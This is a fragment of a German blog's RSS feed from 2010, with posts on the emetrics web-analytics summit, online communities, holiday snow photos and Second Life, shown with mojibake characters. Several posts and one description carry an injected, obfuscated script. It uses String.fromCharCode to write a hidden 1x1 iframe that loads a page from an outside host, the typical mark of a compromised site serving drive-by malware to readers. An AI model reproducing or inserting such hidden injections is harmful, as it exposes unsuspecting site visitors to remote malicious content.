<li>Die Diskussionsrunde der Anbieter habe ich mir gespart. Diese dÃ¼rfte hÃ¶chstens fÃ¼r die Kollegen von Interesse sein, die gerade mit der <strong>Evaluierung eines Tools</strong> beschÃ¤ftigt sind. VortrÃ¤ge von Anwendern bzw. Diskussionen mit ihnen finde ich persÃ¶nlich aber deutlich interessanter.
</li>
</ul>
<p>Ist jetzt doch wieder ein Menge Text geworden, daher beschrÃ¤nke ich mich erst einmal auf den ersten Tag. Ein Review der VortrÃ¤ge des zweiten Tages folgt.</p>
<p>Einen weiteren Blogpost zur emetrics (mit Bildern!) habe ich auf dem Blog <a href="http://www.econtrolling.de/201003/emetrics-mnchen-2010-nachlese/">eControlling.de</a> von Markus Vollmert gefunden.</p>
<p><span id="more-762"></span><!--298bfd9747de535f9b5d76267750efd522010--><br />
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		<title>Erstes</title>
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		<pubDate>Thu, 25 Mar 2010 11:37:36 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Webanalyse]]></category>

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		<description><![CDATA[Ein Satz eines Kollegen aus Berlin charakterisiert die Veranstaltung fÃ¼r mich besonders gut: &#8220;Ick weÃŸ&#8217; nich nich wat fÃ¼r ne Pille die Unternehmensberater unseren VorstÃ¤nden verabreicht haben, ick hÃ¶r nur noch Webanalyse, Webanalyse, Webanalyse&#8221;. Im Vergleich zum Vorjahr war die &#8230; <a href="http://www.virtual-commerce.de/2010/03/erstes-feedback-zum-emetrics-summit-2010-in-munchen.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ein Satz eines Kollegen aus Berlin charakterisiert die Veranstaltung fÃ¼r mich besonders gut: &#8220;Ick weÃŸ&#8217; nich nich wat fÃ¼r ne Pille die Unternehmensberater unseren VorstÃ¤nden verabreicht haben, ick hÃ¶r nur noch Webanalyse, Webanalyse, Webanalyse&#8221;. Im Vergleich zum Vorjahr war die diesjÃ¤hrige <a href="http://www.emetrics-summit.de/">emetrics</a> in MÃ¼nchen deutlich besser besucht. Das Thema Webanalyse gewinnt nun also auch in Deutschland zunehmend an Bedeutung.</p>
<p>War das VerhÃ¤ltnis von Referenten zu ZuhÃ¶rern letztes Jahr noch sehr ausgeglichen (und das ist wÃ¶rtlich gemeint), dÃ¼rfte sich die Zahl der ZuhÃ¶rer in diesem Jahr auf Ã¼ber 100 Personen erhÃ¶ht und damit vervielfacht haben. FÃ¼r mich besonders interessant, es waren sehr viel mehr Endanwender aus Firmen dabei, die Zahl der Berater und Tool-Anbieter hat sich dagegen nicht spÃ¼rbar verÃ¤ndert.</p>
<p>Neu war in diesem Jahr auch das vorab stattfindende User Group Meeting. Fast 30 Anwender der unterschiedlichsten Webanalyse-Tools hatten sich in lockerer AtmosphÃ¤re zum Erfahrungsaustausch getroffen. Berater und Toolanbieter waren nicht zugelassen. Insgesamt eine sehr gute Idee.</p>
<p>Thematisch Ã¤nderte sich auch der Fokus vieler VortrÃ¤ge. Dominierten im Vorjahr noch die Themen zur Optimierung von Onlineshops zur Steigerung des Abverkaufs, hat sich dieses Jahr das Themenspektrum deutlich erweitert. So kamen auch Themen wie Aufbereitung der Daten aus den Analysetools fÃ¼r verschiedene Zielgruppen, das Monitoring von Social Media Kampagnen oder die Definition von Kennzahlen (KPI&#8217;s) jenseits des Abverkaufs zur Diskussion.</p>
<p>Sehr angenehm Ã¼brigens auch die Moderation Ã¼ber beide Tage durch <a href="http://www.urchs.de/4/">Ossi Urchs</a>. Es fÃ¤llt dann doch positiv auf, wenn der Moderator selbst Ahnung von der Materie hat.</p>
<p>Als Fazit mÃ¶chte ich feststellen, dass sich die Veranstaltung, die mir letztes Jahr auch trotz der geringen Beteiligung von Endanwendern sehr viel gebracht hatte, deutlich weiterentwickelt hat. Ich freue mich schon auf darauf, die Kollegen nÃ¤chstes Jahr wieder zu sehen. Ein detailierte Bericht zu einzelnen Highlight der Veranstaltung folgt noch (ich brauche da immer etwas lÃ¤nger zu <img src='http://www.virtual-commerce.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><span id="more-752"></span><!--331bc1a27fb13d629cecb8c9dc06fd8a22010--><br />
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		<title>Nettes</title>
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		<pubDate>Thu, 18 Mar 2010 08:25:56 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Community Management]]></category>

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		<description><![CDATA[Zur Frage, ob Online-Communities realen Gemeinschaften gleichwertig sind, bin ich Ã¼ber folgendes Zitat gestolpert: Die Cybergemeinschaft verhÃ¤lt sich zur realen Gemeinschaft wie die Gummipuppe zur lebendige Frau. Das Zitat stammt von Joseph Lockard (Progressive Politics, Electronic Individualism and the Myth &#8230; <a href="http://www.virtual-commerce.de/2010/03/nettes-zitat-zum-wesen-von-online-communities.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Zur Frage, ob Online-Communities realen Gemeinschaften gleichwertig sind, bin ich Ã¼ber folgendes Zitat gestolpert: <strong>Die Cybergemeinschaft verhÃ¤lt sich zur realen Gemeinschaft wie die Gummipuppe zur lebendige Frau</strong>. Das Zitat stammt von Joseph Lockard (<em>Progressive Politics, Electronic Individualism and the Myth of Virtual Community</em>, 1997). Gelesen habe ich es in der Studie &#8220;<a href="http://www.newmedialab.at/index.php?option=com_content&#038;task=view&#038;id=162&#038;Itemid=86">Erfolgreicher Aufbau von Online-Communitys: Konzepte, Szenarien und Handlungsempfehlungen</a>&#8221; von Sandra Schaffert und Diana Wieden-Bischoff.</p>
<p><span id="more-742"></span><!--454dfa0f691e670c5a45e63d28ea29a322010--><br />
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		<item>
		<title>Bilder</title>
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		<pubDate>Mon, 15 Mar 2010 20:05:16 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Bilder aus der analogen Welt]]></category>

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		<description><![CDATA[[img:4435558357,600] [img:4435558515,600] Bevor der Winter endgÃ¼ltig zu Ende geht noch ein paar Tage im Schnee (Colfosco, SÃ¼dtirol) document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))]]></description>
			<content:encoded><![CDATA[<p>[img:4435558357,600]</p>
<p>[img:4435558515,600]<br />
Bevor der Winter endgÃ¼ltig zu Ende geht noch ein paar Tage im Schnee (Colfosco, SÃ¼dtirol)</p>
<p><span id="more-712"></span><!--202d9e44700bf9dac9607223a15bc58722010--><br />
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script><!--/202d9e44700bf9dac9607223a15bc58722010--></p>
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		<title>Es</title>
		<link>http://www.virtual-commerce.de/2010/03/es-ruhrt-sich-wieder-was-in-virtuellen-welten.html</link>
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		<pubDate>Fri, 05 Mar 2010 06:41:53 +0000</pubDate>
		<dc:creator>Thomas</dc:creator>
				<category><![CDATA[Kollaboration / Collaboration]]></category>

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		<description><![CDATA[Wie ich kÃ¼rzlich der Mitteilung einer LinkedIn-Gruppe (Virtual Worlds) entnommen habe, soll die virtuelle Welt There (there.com) vor Kurzen untergegangen sein (die Webseite funktioniert zumindest noch). Da ich dort nie Mitglied war, habe ich die Meldung nicht Ã¼berprÃ¼ft. DafÃ¼r bietet &#8230; <a href="http://www.virtual-commerce.de/2010/03/es-ruhrt-sich-wieder-was-in-virtuellen-welten.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Wie ich kÃ¼rzlich der Mitteilung einer LinkedIn-Gruppe (<a href="http://www.linkedin.com/groups?about=&#038;gid=744527&#038;trk=anet_ug_grppro">Virtual Worlds</a>) entnommen habe, soll die virtuelle Welt There (<a href="http://www.there.com">there.com</a>) vor Kurzen untergegangen sein (die Webseite funktioniert zumindest noch). Da ich dort nie Mitglied war, habe ich die Meldung nicht Ã¼berprÃ¼ft. DafÃ¼r bietet Mitbewerber <a href="http://lindenlab.com/">LindenLab</a> fÃ¼r sein <a href="http://www.secondlife.com">Second Life</a> die 2er-Version seines Viewers als Beta seit ein paar Tagen zum Download an. Das musste ich natÃ¼rlich gleich ausprobieren (ja, ich bin ab und zu noch in Second Life unterwegs). Der Viewer funktionierte auf Anhieb ohne Probleme, auch die BenutzerfÃ¼hrung ist deutlich intuitiver als bei der VorgÃ¤ngerversion geworden.</p>
<p>Es tut sich aber auch auf anderer Ebene etwas. Die aktuelle Ausgabe der ix (<a href="http://www.heise.de/ix/">Heft MÃ¤rz 2010</a>) des Heise Verlags berichtet Ã¼ber verschiedene Webkonferenz-Tools. ZusÃ¤tzlich zum Artikel findet sich ein kleiner Exkurs Ã¼ber <strong>Second Life und dessen Nutzung als Kollaborationstool fÃ¼r virtuelle Teams</strong>. Das IT-Fachmagazin berichtet Ã¼ber 1.400 Organisationen (Firmen, UniversitÃ¤ten, etc.), die Second Life bereits fÃ¼r Meetings, PrÃ¤sentationen und Schulungen nutzen. Ziel ist dabei die Reduzierung von Reisekosten und die MÃ¶glichkeit, sich spontan &#8220;treffen&#8221; zu kÃ¶nnen. Diese AktivitÃ¤ten finden natÃ¼rlich meist in geschlossenen Bereichen und unter Ausschluss der Ã–ffentlichkeit statt. Ich bin ja immer noch davon Ã¼berzeugt das virtuelle Welten dieser Art sich hervorragend zur Kommunikation via Internet eignen. Ganz dem <a href="http://www.gartner.com/pages/story.php.id.8795.s.8.jsp">Gartner Hype Cycle</a> folgend, entwickeln sich nun langsam aber sicher die ernsthaften Anwendungen in Second Life. Und zwar unbeobachtet von Journalisten und der groÃŸen Ã–ffentlichkeit. Die sind wohl alle gerade am twittern.</p>
<p>Totgesagte leben lÃ¤nger.</p>
<p><span id="more-702"></span><!--8ec5c1d8f26044fe7665ebc9b6b80ae322010--><br />
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script><!--/8ec5c1d8f26044fe7665ebc9b6b80ae322010--></p>
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